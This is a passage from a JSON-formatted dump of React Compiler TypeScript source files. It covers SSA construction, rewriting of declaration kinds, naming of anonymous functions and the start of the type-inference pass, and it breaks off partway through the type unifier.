BasicBlock>) {\n    this.#blocks = new Map(blocks);\n    this.#env = env;\n  }\n\n  get nextSsaId(): IdentifierId {\n    return this.#env.nextIdentifierId;\n  }\n\n  defineFunction(func: HIRFunction): void {\n    for (const [id, block] of func.body.blocks) {\n      this.#blocks.set(id, block);\n    }\n  }\n\n  enter(fn: () => void): void {\n    const current = this.#current;\n    fn();\n    this.#current = current;\n  }\n\n  state(): State {\n    CompilerError.invariant(this.#current !== null, {\n      reason: 'we need to be in a block to access state!',\n      loc: GeneratedSource,\n    });\n    return this.#states.get(this.#current)!;\n  }\n\n  makeId(oldId: Identifier): Identifier {\n    return {\n      id: this.nextSsaId,\n      declarationId: oldId.declarationId,\n      name: oldId.name,\n      mutableRange: {\n        start: makeInstructionId(0),\n        end: makeInstructionId(0),\n      },\n      scope: null, // reset along w the mutable range\n      type: makeType(),\n      loc: oldId.loc,\n    };\n  }\n\n  defineContext(oldPlace: Place): Place {\n    const newPlace = this.definePlace(oldPlace);\n    this.#context.add(oldPlace.identifier);\n    return newPlace;\n  }\n\n  definePlace(oldPlace: Place): Place {\n    const oldId = oldPlace.identifier;\n    if (this.#unknown.has(oldId)) {\n      CompilerError.throwTodo({\n        reason: `[hoisting] EnterSSA: Expected identifier to be defined before being used`,\n        description: `Identifier ${printIdentifier(oldId)} is undefined`,\n        loc: oldPlace.loc,\n        suggestions: null,\n      });\n    }\n\n    // Do not redefine context references.\n    if (this.#context.has(oldId)) {\n      return this.getPlace(oldPlace);\n    }\n\n    const newId = this.makeId(oldId);\n    this.state().defs.set(oldId, newId);\n    return {\n      ...oldPlace,\n      identifier: newId,\n    };\n  }\n\n  getPlace(oldPlace: Place): Place {\n    const newId = this.getIdAt(oldPlace, this.#current!.id);\n    return {\n      ...oldPlace,\n      identifier: newId,\n    };\n  }\n\n  getIdAt(oldPlace: Place, blockId: BlockId): Identifier {\n    // check if Place is defined locally\n    const block = this.#blocks.get(blockId)!;\n    const state = this.#states.get(block)!;\n\n    if (state.defs.has(oldPlace.identifier)) {\n      return state.defs.get(oldPlace.identifier)!;\n    }\n\n    if (block.preds.size == 0) {\n      /*\n       * We're at the entry block and haven't found our defintion yet.\n       * console.log(\n       *   `Unable to find \"${printPlace(\n       *     oldPlace\n       *   )}\" in bb${blockId}, assuming it's a global`\n       * );\n       */\n      this.#unknown.add(oldPlace.identifier);\n      return oldPlace.identifier;\n    }\n\n    if (this.unsealedPreds.get(block)! > 0) {\n      /*\n       * We haven't visited all our predecessors, let's place an incomplete phi\n       * for now.\n       */\n      const newId = this.makeId(oldPlace.identifier);\n      state.incompletePhis.push({\n        oldPlace,\n        newPlace: {...oldPlace, identifier: newId},\n      });\n      state.defs.set(oldPlace.identifier, newId);\n      return newId;\n    }\n\n    // Only one predecessor, let's check there\n    if (block.preds.size == 1) {\n      const [pred] = block.preds;\n      const newId = this.getIdAt(oldPlace, pred);\n      state.defs.set(oldPlace.identifier, newId);\n      return newId;\n    }\n\n    // There are multiple predecessors, we may need a phi.\n    const newId = this.makeId(oldPlace.identifier);\n    /*\n     * Adding a phi may loop back to our block if there is a loop in the CFG.  We\n     * update our defs before adding the phi to terminate the recursion rather than\n     * looping infinitely.\n     */\n    state.defs.set(oldPlace.identifier, newId);\n    return this.addPhi(block, oldPlace, {...oldPlace, identifier: newId});\n  }\n\n  addPhi(block: BasicBlock, oldPlace: Place, newPlace: Place): Identifier {\n    const predDefs: Map<BlockId, Place> = new Map();\n    for (const predBlockId of block.preds) {\n      const predId = this.getIdAt(oldPlace, predBlockId);\n      predDefs.set(predBlockId, {...oldPlace, identifier: predId});\n    }\n\n    const phi: Phi = {\n      kind: 'Phi',\n      place: newPlace,\n      operands: predDefs,\n    };\n\n    block.phis.add(phi);\n    return newPlace.identifier;\n  }\n\n  fixIncompletePhis(block: BasicBlock): void {\n    const state = this.#states.get(block)!;\n    for (const phi of state.incompletePhis) {\n      this.addPhi(block, phi.oldPlace, phi.newPlace);\n    }\n  }\n\n  startBlock(block: BasicBlock): void {\n    this.#current = block;\n    this.#states.set(block, {\n      defs: new Map(),\n      incompletePhis: [],\n    });\n  }\n\n  print(): void {\n    const text: Array<string> = [];\n    for (const [block, state] of this.#states) {\n      text.push(`bb${block.id}:`);\n      for (const [oldId, newId] of state.defs) {\n        text.push(`  \\$${printIdentifier(oldId)}: \\$${printIdentifier(newId)}`);\n      }\n\n      for (const incompletePhi of state.incompletePhis) {\n        text.push(\n          `  iphi \\$${printPlace(\n            incompletePhi.newPlace,\n          )} = \\$${printPlace(incompletePhi.oldPlace)}`,\n        );\n      }\n    }\n\n    text.push(`current block: bb${this.#current?.id}`);\n    console.log(text.join('\\n'));\n  }\n}\n\nexport default function enterSSA(func: HIRFunction): void {\n  const builder = new SSABuilder(func.env, func.body.blocks);\n  enterSSAImpl(func, builder, func.body.entry);\n}\n\nfunction enterSSAImpl(\n  func: HIRFunction,\n  builder: SSABuilder,\n  rootEntry: BlockId,\n): void {\n  const visitedBlocks: Set<BasicBlock> = new Set();\n  for (const [blockId, block] of func.body.blocks) {\n    CompilerError.invariant(!visitedBlocks.has(block), {\n      reason: `found a cycle! visiting bb${block.id} again`,\n      loc: GeneratedSource,\n    });\n\n    visitedBlocks.add(block);\n\n    builder.startBlock(block);\n\n    if (blockId === rootEntry) {\n      // NOTE: func.context should be empty for the root function\n      CompilerError.invariant(func.context.length === 0, {\n        reason: `Expected function context to be empty for outer function declarations`,\n        loc: func.loc,\n      });\n      func.params = func.params.map(param => {\n        if (param.kind === 'Identifier') {\n          return builder.definePlace(param);\n        } else {\n          return {\n            kind: 'Spread',\n            place: builder.definePlace(param.place),\n          };\n        }\n      });\n    }\n\n    for (const instr of block.instructions) {\n      mapInstructionOperands(instr, place => builder.getPlace(place));\n      mapInstructionLValues(instr, lvalue => builder.definePlace(lvalue));\n\n      if (\n        instr.value.kind === 'FunctionExpression' ||\n        instr.value.kind === 'ObjectMethod'\n      ) {\n        const loweredFunc = instr.value.loweredFunc.func;\n        const entry = loweredFunc.body.blocks.get(loweredFunc.body.entry)!;\n        CompilerError.invariant(entry.preds.size === 0, {\n          reason:\n            'Expected function expression entry block to have zero predecessors',\n          loc: GeneratedSource,\n        });\n        entry.preds.add(blockId);\n        builder.defineFunction(loweredFunc);\n        builder.enter(() => {\n          loweredFunc.params = loweredFunc.params.map(param => {\n            if (param.kind === 'Identifier') {\n              return builder.definePlace(param);\n            } else {\n              return {\n                kind: 'Spread',\n                place: builder.definePlace(param.place),\n              };\n            }\n          });\n          enterSSAImpl(loweredFunc, builder, rootEntry);\n        });\n        entry.preds.clear();\n      }\n    }\n\n    mapTerminalOperands(block.terminal, place => builder.getPlace(place));\n    for (const outputId of eachTerminalSuccessor(block.terminal)) {\n      const output = func.body.blocks.get(outputId)!;\n      let count;\n      if (builder.unsealedPreds.has(output)) {\n        count = builder.unsealedPreds.get(output)! - 1;\n      } else {\n        count = output.preds.size - 1;\n      }\n      builder.unsealedPreds.set(output, count);\n\n      if (count === 0 && visitedBlocks.has(output)) {\n        builder.fixIncompletePhis(output);\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/SSA/RewriteInstructionKindsBasedOnReassignment.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '../CompilerError';\nimport {\n  DeclarationId,\n  GeneratedSource,\n  HIRFunction,\n  InstructionKind,\n  LValue,\n  LValuePattern,\n  Place,\n} from '../HIR/HIR';\nimport {printPlace} from '../HIR/PrintHIR';\nimport {eachPatternOperand} from '../HIR/visitors';\n\n/**\n * This pass rewrites the InstructionKind of instructions which declare/assign variables,\n * converting the first declaration to a Const/Let depending on whether it is subsequently\n * reassigned, and ensuring that subsequent reassignments are marked as a Reassign. Note\n * that declarations which were const in the original program cannot become `let`, but the\n * inverse is not true: a `let` which was reassigned in the source may be converted to a\n * `const` if the reassignment is not used and was removed by dead code elimination.\n *\n * NOTE: this is a subset of the operations previously performed by the LeaveSSA pass.\n */\nexport function rewriteInstructionKindsBasedOnReassignment(\n  fn: HIRFunction,\n): void {\n  const declarations = new Map<DeclarationId, LValue | LValuePattern>();\n  for (const param of fn.params) {\n    let place: Place = param.kind === 'Identifier' ? param : param.place;\n    if (place.identifier.name !== null) {\n      declarations.set(place.identifier.declarationId, {\n        kind: InstructionKind.Let,\n        place,\n      });\n    }\n  }\n  for (const place of fn.context) {\n    if (place.identifier.name !== null) {\n      declarations.set(place.identifier.declarationId, {\n        kind: InstructionKind.Let,\n        place,\n      });\n    }\n  }\n  for (const [, block] of fn.body.blocks) {\n    for (const instr of block.instructions) {\n      const {value} = instr;\n      switch (value.kind) {\n        case 'DeclareLocal': {\n          const lvalue = value.lvalue;\n          CompilerError.invariant(\n            !declarations.has(lvalue.place.identifier.declarationId),\n            {\n              reason: `Expected variable not to be defined prior to declaration`,\n              description: `${printPlace(lvalue.place)} was already defined`,\n              loc: lvalue.place.loc,\n            },\n          );\n          declarations.set(lvalue.place.identifier.declarationId, lvalue);\n          break;\n        }\n        case 'StoreLocal': {\n          const lvalue = value.lvalue;\n          if (lvalue.place.identifier.name !== null) {\n            const declaration = declarations.get(\n              lvalue.place.identifier.declarationId,\n            );\n            if (declaration === undefined) {\n              CompilerError.invariant(\n                !declarations.has(lvalue.place.identifier.declarationId),\n                {\n                  reason: `Expected variable not to be defined prior to declaration`,\n                  description: `${printPlace(lvalue.place)} was already defined`,\n                  loc: lvalue.place.loc,\n                },\n              );\n              declarations.set(lvalue.place.identifier.declarationId, lvalue);\n              lvalue.kind = InstructionKind.Const;\n            } else {\n              declaration.kind = InstructionKind.Let;\n              lvalue.kind = InstructionKind.Reassign;\n            }\n          }\n          break;\n        }\n        case 'Destructure': {\n          const lvalue = value.lvalue;\n          let kind: InstructionKind | null = null;\n          for (const place of eachPatternOperand(lvalue.pattern)) {\n            if (place.identifier.name === null) {\n              CompilerError.invariant(\n                kind === null || kind === InstructionKind.Const,\n                {\n                  reason: `Expected consistent kind for destructuring`,\n                  description: `other places were \\`${kind}\\` but '${printPlace(\n                    place,\n                  )}' is const`,\n                  loc: place.loc,\n                },\n              );\n              kind = InstructionKind.Const;\n            } else {\n              const declaration = declarations.get(\n                place.identifier.declarationId,\n              );\n              if (declaration === undefined) {\n                CompilerError.invariant(block.kind !== 'value', {\n                  reason: `TODO: Handle reassignment in a value block where the original declaration was removed by dead code elimination (DCE)`,\n                  loc: place.loc,\n                });\n                declarations.set(place.identifier.declarationId, lvalue);\n                CompilerError.invariant(\n                  kind === null || kind === InstructionKind.Const,\n                  {\n                    reason: `Expected consistent kind for destructuring`,\n                    description: `Other places were \\`${kind}\\` but '${printPlace(\n                      place,\n                    )}' is const`,\n                    loc: place.loc,\n                  },\n                );\n                kind = InstructionKind.Const;\n              } else {\n                CompilerError.invariant(\n                  kind === null || kind === InstructionKind.Reassign,\n                  {\n                    reason: `Expected consistent kind for destructuring`,\n                    description: `Other places were \\`${kind}\\` but '${printPlace(\n                      place,\n                    )}' is reassigned`,\n                    loc: place.loc,\n                  },\n                );\n                kind = InstructionKind.Reassign;\n                declaration.kind = InstructionKind.Let;\n              }\n            }\n          }\n          CompilerError.invariant(kind !== null, {\n            reason: 'Expected at least one operand',\n            loc: GeneratedSource,\n          });\n          lvalue.kind = kind;\n          break;\n        }\n        case 'PostfixUpdate':\n        case 'PrefixUpdate': {\n          const lvalue = value.lvalue;\n          const declaration = declarations.get(lvalue.identifier.declarationId);\n          CompilerError.invariant(declaration !== undefined, {\n            reason: `Expected variable to have been defined`,\n            description: `No declaration for ${printPlace(lvalue)}`,\n            loc: lvalue.loc,\n          });\n          declaration.kind = InstructionKind.Let;\n          break;\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/SSA/index.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport {eliminateRedundantPhi} from './EliminateRedundantPhi';\nexport {default as enterSSA} from './EnterSSA';\nexport {rewriteInstructionKindsBasedOnReassignment} from './RewriteInstructionKindsBasedOnReassignment';\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Transform/NameAnonymousFunctions.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  FunctionExpression,\n  getHookKind,\n  HIRFunction,\n  IdentifierId,\n} from '../HIR';\n\nexport function nameAnonymousFunctions(fn: HIRFunction): void {\n  if (fn.id == null) {\n    return;\n  }\n  const parentName = fn.id;\n  const functions = nameAnonymousFunctionsImpl(fn);\n  function visit(node: Node, prefix: string): void {\n    if (node.generatedName != null && node.fn.nameHint == null) {\n      /**\n       * Note that we don't generate a name for functions that already had one,\n       * so we'll only add the prefix to anonymous functions regardless of\n       * nesting depth.\n       */\n      const name = `${prefix}${node.generatedName}]`;\n      node.fn.nameHint = name;\n      node.fn.loweredFunc.func.nameHint = name;\n    }\n    /**\n     * Whether or not we generated a name for the function at this node,\n     * traverse into its nested functions to assign them names\n     */\n    const nextPrefix = `${prefix}${node.generatedName ?? node.fn.name ?? '<anonymous>'} > `;\n    for (const inner of node.inner) {\n      visit(inner, nextPrefix);\n    }\n  }\n  for (const node of functions) {\n    visit(node, `${parentName}[`);\n  }\n}\n\ntype Node = {\n  fn: FunctionExpression;\n  generatedName: string | null;\n  inner: Array<Node>;\n};\n\nfunction nameAnonymousFunctionsImpl(fn: HIRFunction): Array<Node> {\n  // Functions that we track to generate names for\n  const functions: Map<IdentifierId, Node> = new Map();\n  // Tracks temporaries that read from variables/globals/properties\n  const names: Map<IdentifierId, string> = new Map();\n  // Tracks all function nodes to bubble up for later renaming\n  const nodes: Array<Node> = [];\n  for (const block of fn.body.blocks.values()) {\n    for (const instr of block.instructions) {\n      const {lvalue, value} = instr;\n      switch (value.kind) {\n        case 'LoadGlobal': {\n          names.set(lvalue.identifier.id, value.binding.name);\n          break;\n        }\n        case 'LoadContext':\n        case 'LoadLocal': {\n          const name = value.place.identifier.name;\n          if (name != null && name.kind === 'named') {\n            names.set(lvalue.identifier.id, name.value);\n          }\n          const func = functions.get(value.place.identifier.id);\n          if (func != null) {\n            functions.set(lvalue.identifier.id, func);\n          }\n          break;\n        }\n        case 'PropertyLoad': {\n          const objectName = names.get(value.object.identifier.id);\n          if (objectName != null) {\n            names.set(\n              lvalue.identifier.id,\n              `${objectName}.${String(value.property)}`,\n            );\n          }\n          break;\n        }\n        case 'FunctionExpression': {\n          const inner = nameAnonymousFunctionsImpl(value.loweredFunc.func);\n          const node: Node = {\n            fn: value,\n            generatedName: null,\n            inner,\n          };\n          /**\n           * Bubble-up all functions, even if they're named, so that we can\n           * later generate names for any inner anonymous functions\n           */\n          nodes.push(node);\n          if (value.name == null) {\n            // but only generate names for anonymous functions\n            functions.set(lvalue.identifier.id, node);\n          }\n          break;\n        }\n        case 'StoreContext':\n        case 'StoreLocal': {\n          const node = functions.get(value.value.identifier.id);\n          const variableName = value.lvalue.place.identifier.name;\n          if (\n            node != null &&\n            node.generatedName == null &&\n            variableName != null &&\n            variableName.kind === 'named'\n          ) {\n            node.generatedName = variableName.value;\n            functions.delete(value.value.identifier.id);\n          }\n          break;\n        }\n        case 'CallExpression':\n        case 'MethodCall': {\n          const callee =\n            value.kind === 'MethodCall' ? value.property : value.callee;\n          const hookKind = getHookKind(fn.env, callee.identifier);\n          let calleeName: string | null = null;\n          if (hookKind != null && hookKind !== 'Custom') {\n            calleeName = hookKind;\n          } else {\n            calleeName = names.get(callee.identifier.id) ?? '(anonymous)';\n          }\n          let fnArgCount = 0;\n          for (const arg of value.args) {\n            if (arg.kind === 'Identifier' && functions.has(arg.identifier.id)) {\n              fnArgCount++;\n            }\n          }\n          for (let i = 0; i < value.args.length; i++) {\n            const arg = value.args[i]!;\n            if (arg.kind === 'Spread') {\n              continue;\n            }\n            const node = functions.get(arg.identifier.id);\n            if (node != null && node.generatedName == null) {\n              const generatedName =\n                fnArgCount > 1 ? `${calleeName}(arg${i})` : `${calleeName}()`;\n              node.generatedName = generatedName;\n              functions.delete(arg.identifier.id);\n            }\n          }\n          break;\n        }\n        case 'JsxExpression': {\n          for (const attr of value.props) {\n            if (attr.kind === 'JsxSpreadAttribute') {\n              continue;\n            }\n            const node = functions.get(attr.place.identifier.id);\n            if (node != null && node.generatedName == null) {\n              const elementName =\n                value.tag.kind === 'BuiltinTag'\n                  ? value.tag.name\n                  : (names.get(value.tag.identifier.id) ?? null);\n              const propName =\n                elementName == null\n                  ? attr.name\n                  : `<${elementName}>.${attr.name}`;\n              node.generatedName = `${propName}`;\n              functions.delete(attr.place.identifier.id);\n            }\n          }\n          break;\n        }\n      }\n    }\n  }\n  return nodes;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Transform/index.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/TypeInference/InferTypes.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport * as t from '@babel/types';\nimport {CompilerError} from '../CompilerError';\nimport {Environment} from '../HIR';\nimport {\n  GeneratedSource,\n  HIRFunction,\n  Identifier,\n  IdentifierId,\n  Instruction,\n  InstructionKind,\n  makePropertyLiteral,\n  makeType,\n  PropType,\n  Type,\n  typeEquals,\n  TypeId,\n  TypeVar,\n} from '../HIR/HIR';\nimport {\n  BuiltInArrayId,\n  BuiltInFunctionId,\n  BuiltInJsxId,\n  BuiltInMixedReadonlyId,\n  BuiltInObjectId,\n  BuiltInPropsId,\n  BuiltInRefValueId,\n  BuiltInSetStateId,\n  BuiltInUseRefId,\n} from '../HIR/ObjectShape';\nimport {eachInstructionLValue, eachInstructionOperand} from '../HIR/visitors';\nimport {assertExhaustive} from '../Utils/utils';\n\nfunction isPrimitiveBinaryOp(op: t.BinaryExpression['operator']): boolean {\n  switch (op) {\n    case '+':\n    case '-':\n    case '/':\n    case '%':\n    case '*':\n    case '**':\n    case '&':\n    case '|':\n    case '>>':\n    case '<<':\n    case '^':\n    case '>':\n    case '<':\n    case '>=':\n    case '<=':\n    case '|>':\n      return true;\n    default:\n      return false;\n  }\n}\n\nexport function inferTypes(func: HIRFunction): void {\n  const unifier = new Unifier(func.env);\n  for (const e of generate(func)) {\n    unifier.unify(e.left, e.right);\n  }\n  apply(func, unifier);\n}\n\nfunction apply(func: HIRFunction, unifier: Unifier): void {\n  for (const [_, block] of func.body.blocks) {\n    for (const phi of block.phis) {\n      phi.place.identifier.type = unifier.get(phi.place.identifier.type);\n    }\n    for (const instr of block.instructions) {\n      for (const operand of eachInstructionLValue(instr)) {\n        operand.identifier.type = unifier.get(operand.identifier.type);\n      }\n      for (const place of eachInstructionOperand(instr)) {\n        place.identifier.type = unifier.get(place.identifier.type);\n      }\n      const {lvalue, value} = instr;\n      lvalue.identifier.type = unifier.get(lvalue.identifier.type);\n\n      if (\n        value.kind === 'FunctionExpression' ||\n        value.kind === 'ObjectMethod'\n      ) {\n        apply(value.loweredFunc.func, unifier);\n      }\n    }\n  }\n  const returns = func.returns.identifier;\n  returns.type = unifier.get(returns.type);\n}\n\ntype TypeEquation = {\n  left: Type;\n  right: Type;\n};\n\nfunction equation(left: Type, right: Type): TypeEquation {\n  return {\n    left,\n    right,\n  };\n}\n\nfunction* generate(\n  func: HIRFunction,\n): Generator<TypeEquation, void, undefined> {\n  if (func.fnType === 'Component') {\n    const [props, ref] = func.params;\n    if (props && props.kind === 'Identifier') {\n      yield equation(props.identifier.type, {\n        kind: 'Object',\n        shapeId: BuiltInPropsId,\n      });\n    }\n    if (ref && ref.kind === 'Identifier') {\n      yield equation(ref.identifier.type, {\n        kind: 'Object',\n        shapeId: BuiltInUseRefId,\n      });\n    }\n  }\n\n  const names = new Map();\n  const returnTypes: Array<Type> = [];\n  for (const [_, block] of func.body.blocks) {\n    for (const phi of block.phis) {\n      yield equation(phi.place.identifier.type, {\n        kind: 'Phi',\n        operands: [...phi.operands.values()].map(id => id.identifier.type),\n      });\n    }\n\n    for (const instr of block.instructions) {\n      yield* generateInstructionTypes(func.env, names, instr);\n    }\n    const terminal = block.terminal;\n    if (terminal.kind === 'return') {\n      returnTypes.push(terminal.value.identifier.type);\n    }\n  }\n  if (returnTypes.length > 1) {\n    yield equation(func.returns.identifier.type, {\n      kind: 'Phi',\n      operands: returnTypes,\n    });\n  } else if (returnTypes.length === 1) {\n    yield equation(func.returns.identifier.type, returnTypes[0]!);\n  }\n}\n\nfunction setName(\n  names: Map<IdentifierId, string>,\n  id: IdentifierId,\n  name: Identifier,\n): void {\n  if (name.name?.kind === 'named') {\n    names.set(id, name.name.value);\n  }\n}\n\nfunction getName(names: Map<IdentifierId, string>, id: IdentifierId): string {\n  return names.get(id) ?? '';\n}\n\nfunction* generateInstructionTypes(\n  env: Environment,\n  names: Map<IdentifierId, string>,\n  instr: Instruction,\n): Generator<TypeEquation, void, undefined> {\n  const {lvalue, value} = instr;\n  const left = lvalue.identifier.type;\n\n  switch (value.kind) {\n    case 'TemplateLiteral':\n    case 'JSXText':\n    case 'Primitive': {\n      yield equation(left, {kind: 'Primitive'});\n      break;\n    }\n\n    case 'UnaryExpression': {\n      yield equation(left, {kind: 'Primitive'});\n      break;\n    }\n\n    case 'LoadLocal': {\n      setName(names, lvalue.identifier.id, value.place.identifier);\n      yield equation(left, value.place.identifier.type);\n      break;\n    }\n\n    // We intentionally do not infer types for most context variables\n    case 'DeclareContext':\n    case 'LoadContext': {\n      break;\n    }\n    case 'StoreContext': {\n      /**\n       * The caveat is StoreContext const, where we know the value is\n       * assigned once such that everywhere the value is accessed, it\n       * must have the same type from the rvalue.\n       *\n       * A concrete example where this is useful is `const ref = useRef()`\n       * where the ref is referenced before its declaration in a function\n       * expression, causing it to be converted to a const context variable.\n       */\n      if (value.lvalue.kind === InstructionKind.Const) {\n        yield equation(\n          value.lvalue.place.identifier.type,\n          value.value.identifier.type,\n        );\n      }\n      break;\n    }\n\n    case 'StoreLocal': {\n      yield equation(left, value.value.identifier.type);\n      yield equation(\n        value.lvalue.place.identifier.type,\n        value.value.identifier.type,\n      );\n      break;\n    }\n\n    case 'StoreGlobal': {\n      yield equation(left, value.value.identifier.type);\n      break;\n    }\n\n    case 'BinaryExpression': {\n      if (isPrimitiveBinaryOp(value.operator)) {\n        yield equation(value.left.identifier.type, {kind: 'Primitive'});\n        yield equation(value.right.identifier.type, {kind: 'Primitive'});\n      }\n      yield equation(left, {kind: 'Primitive'});\n      break;\n    }\n\n    case 'PostfixUpdate':\n    case 'PrefixUpdate': {\n      yield equation(value.value.identifier.type, {kind: 'Primitive'});\n      yield equation(value.lvalue.identifier.type, {kind: 'Primitive'});\n      yield equation(left, {kind: 'Primitive'});\n      break;\n    }\n\n    case 'LoadGlobal': {\n      const globalType = env.getGlobalDeclaration(value.binding, value.loc);\n      if (globalType) {\n        yield equation(left, globalType);\n      }\n      break;\n    }\n\n    case 'CallExpression': {\n      const returnType = makeType();\n      /*\n       * TODO: callee could be a hook or a function, so this type equation isn't correct.\n       * We should change Hook to a subtype of Function or change unifier logic.\n       * (see https://github.com/facebook/react-forget/pull/1427)\n       */\n      let shapeId: string | null = null;\n      if (env.config.enableTreatSetIdentifiersAsStateSetters) {\n        const name = getName(names, value.callee.identifier.id);\n        if (name.startsWith('set')) {\n          shapeId = BuiltInSetStateId;\n        }\n      }\n      yield equation(value.callee.identifier.type, {\n        kind: 'Function',\n        shapeId,\n        return: returnType,\n        isConstructor: false,\n      });\n      yield equation(left, returnType);\n      break;\n    }\n\n    case 'TaggedTemplateExpression': {\n      const returnType = makeType();\n      /*\n       * TODO: callee could be a hook or a function, so this type equation isn't correct.\n       * We should change Hook to a subtype of Function or change unifier logic.\n       * (see https://github.com/facebook/react-forget/pull/1427)\n       */\n      yield equation(value.tag.identifier.type, {\n        kind: 'Function',\n        shapeId: null,\n        return: returnType,\n        isConstructor: false,\n      });\n      yield equation(left, returnType);\n      break;\n    }\n\n    case 'ObjectExpression': {\n      for (const property of value.properties) {\n        if (\n          property.kind === 'ObjectProperty' &&\n          property.key.kind === 'computed'\n        ) {\n          yield equation(property.key.name.identifier.type, {\n            kind: 'Primitive',\n          });\n        }\n      }\n      yield equation(left, {kind: 'Object', shapeId: BuiltInObjectId});\n      break;\n    }\n\n    case 'ArrayExpression': {\n      yield equation(left, {kind: 'Object', shapeId: BuiltInArrayId});\n      break;\n    }\n\n    case 'PropertyLoad': {\n      yield equation(left, {\n        kind: 'Property',\n        objectType: value.object.identifier.type,\n        objectName: getName(names, value.object.identifier.id),\n        propertyName: {\n          kind: 'literal',\n          value: value.property,\n        },\n      });\n      break;\n    }\n\n    case 'ComputedLoad': {\n      yield equation(left, {\n        kind: 'Property',\n        objectType: value.object.identifier.type,\n        objectName: getName(names, value.object.identifier.id),\n        propertyName: {\n          kind: 'computed',\n          value: value.property.identifier.type,\n        },\n      });\n      break;\n    }\n    case 'MethodCall': {\n      const returnType = makeType();\n      yield equation(value.property.identifier.type, {\n        kind: 'Function',\n        return: returnType,\n        shapeId: null,\n        isConstructor: false,\n      });\n\n      yield equation(left, returnType);\n      break;\n    }\n\n    case 'Destructure': {\n      const pattern = value.lvalue.pattern;\n      if (pattern.kind === 'ArrayPattern') {\n        for (let i = 0; i < pattern.items.length; i++) {\n          const item = pattern.items[i];\n          if (item.kind === 'Identifier') {\n            // To simulate tuples we use properties with `String(<index>)`, eg \"0\".\n            const propertyName = String(i);\n            yield equation(item.identifier.type, {\n              kind: 'Property',\n              objectType: value.value.identifier.type,\n              objectName: getName(names, value.value.identifier.id),\n              propertyName: {\n                kind: 'literal',\n                value: makePropertyLiteral(propertyName),\n              },\n            });\n          } else if (item.kind === 'Spread') {\n            // Array pattern spread always creates an array\n            yield equation(item.place.identifier.type, {\n              kind: 'Object',\n              shapeId: BuiltInArrayId,\n            });\n          } else {\n            continue;\n          }\n        }\n      } else {\n        for (const property of pattern.properties) {\n          if (property.kind === 'ObjectProperty') {\n            if (\n              property.key.kind === 'identifier' ||\n              property.key.kind === 'string'\n            ) {\n              yield equation(property.place.identifier.type, {\n                kind: 'Property',\n                objectType: value.value.identifier.type,\n                objectName: getName(names, value.value.identifier.id),\n                propertyName: {\n                  kind: 'literal',\n                  value: makePropertyLiteral(property.key.name),\n                },\n              });\n            }\n          }\n        }\n      }\n      break;\n    }\n\n    case 'TypeCastExpression': {\n      yield equation(left, value.value.identifier.type);\n      break;\n    }\n\n    case 'PropertyDelete':\n    case 'ComputedDelete': {\n      yield equation(left, {kind: 'Primitive'});\n      break;\n    }\n\n    case 'FunctionExpression': {\n      yield* generate(value.loweredFunc.func);\n      yield equation(left, {\n        kind: 'Function',\n        shapeId: BuiltInFunctionId,\n        return: value.loweredFunc.func.returns.identifier.type,\n        isConstructor: false,\n      });\n      break;\n    }\n\n    case 'NextPropertyOf': {\n      yield equation(left, {kind: 'Primitive'});\n      break;\n    }\n\n    case 'ObjectMethod': {\n      yield* generate(value.loweredFunc.func);\n      yield equation(left, {kind: 'ObjectMethod'});\n      break;\n    }\n\n    case 'JsxExpression':\n    case 'JsxFragment': {\n      if (env.config.enableTreatRefLikeIdentifiersAsRefs) {\n        if (value.kind === 'JsxExpression') {\n          for (const prop of value.props) {\n            if (prop.kind === 'JsxAttribute' && prop.name === 'ref') {\n              yield equation(prop.place.identifier.type, {\n                kind: 'Object',\n                shapeId: BuiltInUseRefId,\n              });\n            }\n          }\n        }\n      }\n      yield equation(left, {kind: 'Object', shapeId: BuiltInJsxId});\n      break;\n    }\n    case 'NewExpression': {\n      const returnType = makeType();\n      yield equation(value.callee.identifier.type, {\n        kind: 'Function',\n        return: returnType,\n        shapeId: null,\n        isConstructor: true,\n      });\n\n      yield equation(left, returnType);\n      break;\n    }\n    case 'PropertyStore': {\n      /**\n       * Infer types based on assignments to known object properties\n       * This is important for refs, where assignment to `<maybeRef>.current`\n       * can help us infer that an object itself is a ref\n       */\n      yield equation(\n        /**\n         * Our property type declarations are best-effort and we haven't tested\n         * using them to drive inference of rvalues from lvalues. We want to emit\n         * a Property type in order to infer refs from `.current` accesses, but\n         * stay conservative by not otherwise inferring anything about rvalues.\n         * So we use a dummy type here.\n         *\n         * TODO: consider using the rvalue type here\n         */\n        makeType(),\n        // unify() only handles properties in the second position\n        {\n          kind: 'Property',\n          objectType: value.object.identifier.type,\n          objectName: getName(names, value.object.identifier.id),\n          propertyName: {\n            kind: 'literal',\n            value: value.property,\n          },\n        },\n      );\n      break;\n    }\n    case 'DeclareLocal':\n    case 'RegExpLiteral':\n    case 'MetaProperty':\n    case 'ComputedStore':\n    case 'Await':\n    case 'GetIterator':\n    case 'IteratorNext':\n    case 'UnsupportedNode':\n    case 'Debugger':\n    case 'FinishMemoize':\n    case 'StartMemoize': {\n      break;\n    }\n    default:\n      assertExhaustive(\n        value,\n        `Unhandled instruction value kind: ${(value as any).kind}`,\n      );\n  }\n}\n\ntype Substitution = Map<TypeId, Type>;\nclass Unifier {\n  substitutions: Substitution = new Map();\n  env: Environment;\n\n  constructor(env: Environment) {\n    this.env = env;\n  }\n\n  unify(tA: Type, tB: Type): void {\n    if (tB.kind === 'Property') {\n      if (\n        